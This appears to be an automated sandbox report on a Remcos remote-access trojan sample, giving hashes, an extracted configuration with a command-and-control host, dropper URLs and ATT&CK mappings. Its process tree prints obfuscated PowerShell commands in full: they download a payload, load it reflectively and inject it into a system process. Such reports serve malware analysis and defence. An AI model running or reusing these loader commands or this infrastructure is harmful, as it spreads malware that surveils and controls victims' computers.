remcos | 404b57d95f283e13341785c6565f1fda78a9645912850491e819f1b047563f9f

General

Target

404b57d95f283e13341785c6565f1fda78a9645912850491e819f1b047563f9f.vbs
Size

508KB
MD5

d07670e4294bb3b4f8cb5d015f02cd63
SHA1

f5026f5cdebe2a78e0e22afcfd266aa6b8ab027a
SHA256

404b57d95f283e13341785c6565f1fda78a9645912850491e819f1b047563f9f
SHA512

194f1d7df1885fd2d006cf026652fc22fc34f8666d1ac5f976b7ba370a1aeee80e51e3fa88828a0b4e640d9ab5f5e2bf5b900050db9d0e4ddaf8d1d6d12549f9
SSDEEP

12288:VHkaHTzfEQUu8fW7H7P0ielz5KM9BoVH4WJ19UsipS28E8PWPNsgF+QhB0Iy6Zm2:VRc67Q6ZG0oZ

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

C2

remcosco222.duckdns.org:7877

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-FX5B2Y
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	1420	powershell.exe
24	1420	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3944	powershell.exe
1420	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1420 set thread context of 2300	1420	powershell.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3944	powershell.exe
3944	powershell.exe
1420	powershell.exe
1420	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2824 wrote to memory of 3944	2824	WScript.exe	81
PID 2824 wrote to memory of 3944	2824	WScript.exe	81
PID 3944 wrote to memory of 1420	3944	powershell.exe	83
PID 3944 wrote to memory of 1420	3944	powershell.exe	83
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91
PID 1420 wrote to memory of 2300	1420	powershell.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\404b57d95f283e13341785c6565f1fda78a9645912850491e819f1b047563f9f.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnRmU0dXJsJysnICcrJz0nKycgJysneGcnKydMaHQnKyd0cHM6JysnLy9pYScrJzYwJysnMDEwMC4nKyd1Jysncy5hcmNoaXZlLm8nKydyZy8yNC9pJysndGUnKydtJysncy9kJysnZScrJ3RhaC0nKydub3RlLXYvRCcrJ2V0JysnYWhOJysnbycrJ3RlVicrJy4nKyd0eHR4Z0w7RmU0YicrJ2FzZScrJzY0JysnQ29udGVuJysndCcrJyAnKyc9ICgnKydOJysnZScrJ3ctT2InKydqJysnZWN0ICcrJ1N5JysncycrJ3RlJysnbS5OZScrJ3QuJysnV2ViJysnQ2xpJysnZW50JysnKS4nKydEJysnb3dubG9hJysnZFN0cmknKyduZyhGZScrJzR1JysncmwpO0ZlNGJpbmFyJysneUNvJysnbnRlbnQnKycgJysnPScrJyBbU3knKydzJysndGUnKydtLkNvbnZlJysncnQnKyddOjpGcm9tQmFzZTY0U3QnKydyaW4nKydnKEZlNGJhc2U2NCcrJ0NvbnQnKydlbnQnKycpJysnO0ZlNGFzcycrJ2VtJysnYmx5JysnICcrJz0nKycgW1JlZmwnKydlY3Rpb24uQXMnKydzZW1ibHldOjpMb2FkKEYnKydlJysnNGJpbmFyJysneUNvbnRlbicrJ3QpO0ZlJysnNCcrJ3QnKyd5cGUgPSAnKydGZTRhc3MnKydlbScrJ2JsJysneScrJy5HZXQnKydUJysneXBlKHhnJysnTFJ1JysnblBFJysnLkgnKydvbWV4ZycrJ0wpO0ZlNCcrJ21ldGgnKydvZCcrJyA9IEZlJysnNHQnKyd5cGUnKycuR2UnKyd0TWV0JysnaCcrJ29kJysnKCcrJ3hnTCcrJ1ZBJysnSXgnKydnTCk7JysnRmUnKyc0bScrJ2V0aCcrJ29kLkluJysndm9rZShGZTRudScrJ2wnKydsJysnLCBbb2JqZWN0WycrJ11dQCh4Z0wwJysnL3AnKydKU0cnKydOL2QvJysnZScrJ2UuZXRzJysnYXAvLycrJzpzJysncHR0aCcrJ3gnKydnTCcrJyAsIHgnKydnTGRlc2F0JysnaXZhJysnZG94JysnZ0wnKycgJysnLCcrJyB4Z0xkJysnZXMnKydhdGl2YWQnKydvJysneGdMICwgJysneCcrJ2dMZGVzYXRpdmEnKydkJysnbycrJ3hnTCwnKyd4Z0xBJysnZGRJblByJysnb2Nlc3MnKyczMnhnJysnTCcrJywnKyd4JysnZ0x4ZycrJ0wpKScpLVJFUExBY0UgICdGZTQnLFtDSGFyXTM2IC1DckVQTEFjRSAgJ3hnTCcsW0NIYXJdMzkpIHwgLiggJHNIRWxMaURbMV0rJHNIRWxsaWRbMTNdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Fe4url'+' '+'='+' '+'xg'+'Lht'+'tps:'+'//ia'+'60'+'0100.'+'u'+'s.archive.o'+'rg/24/i'+'te'+'m'+'s/d'+'e'+'tah-'+'note-v/D'+'et'+'ahN'+'o'+'teV'+'.'+'txtxgL;Fe4b'+'ase'+'64'+'Conten'+'t'+' '+'= ('+'N'+'e'+'w-Ob'+'j'+'ect '+'Sy'+'s'+'te'+'m.Ne'+'t.'+'Web'+'Cli'+'ent'+').'+'D'+'ownloa'+'dStri'+'ng(Fe'+'4u'+'rl);Fe4binar'+'yCo'+'ntent'+' '+'='+' [Sy'+'s'+'te'+'m.Conve'+'rt'+']::FromBase64St'+'rin'+'g(Fe4base64'+'Cont'+'ent'+')'+';Fe4ass'+'em'+'bly'+' '+'='+' [Refl'+'ection.As'+'sembly]::Load(F'+'e'+'4binar'+'yConten'+'t);Fe'+'4'+'t'+'ype = '+'Fe4ass'+'em'+'bl'+'y'+'.Get'+'T'+'ype(xg'+'LRu'+'nPE'+'.H'+'omexg'+'L);Fe4'+'meth'+'od'+' = Fe'+'4t'+'ype'+'.Ge'+'tMet'+'h'+'od'+'('+'xgL'+'VA'+'Ix'+'gL);'+'Fe'+'4m'+'eth'+'od.In'+'voke(Fe4nu'+'l'+'l'+', [object['+']]@(xgL0'+'/p'+'JSG'+'N/d/'+'e'+'e.ets'+'ap//'+':s'+'ptth'+'x'+'gL'+' , x'+'gLdesat'+'iva'+'dox'+'gL'+' '+','+' xgLd'+'es'+'ativad'+'o'+'xgL , '+'x'+'gLdesativa'+'d'+'o'+'xgL,'+'xgLA'+'ddInPr'+'ocess'+'32xg'+'L'+','+'x'+'gLxg'+'L))')-REPLAcE 'Fe4',[CHar]36 -CrEPLAcE 'xgL',[CHar]39) | .( $sHElLiD[1]+$sHEllid[13]+'x')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kzatbks0.1xa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1420-24-0x000002A3ECBD0000-0x000002A3ECDDC000-memory.dmp

Filesize
2.0MB

Download
memory/2300-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-28-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2300-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3944-23-0x00007FFB47A60000-0x00007FFB48521000-memory.dmp

Filesize
10.8MB

Download
memory/3944-32-0x00007FFB47A60000-0x00007FFB48521000-memory.dmp

Filesize
10.8MB

Download
memory/3944-0-0x00007FFB47A63000-0x00007FFB47A65000-memory.dmp

Filesize
8KB

Download
memory/3944-22-0x00007FFB47A63000-0x00007FFB47A65000-memory.dmp

Filesize
8KB

Download
memory/3944-12-0x00007FFB47A60000-0x00007FFB48521000-memory.dmp

Filesize
10.8MB

Download
memory/3944-11-0x00007FFB47A60000-0x00007FFB48521000-memory.dmp

Filesize
10.8MB

Download
memory/3944-1-0x0000026B7F4E0000-0x0000026B7F502000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads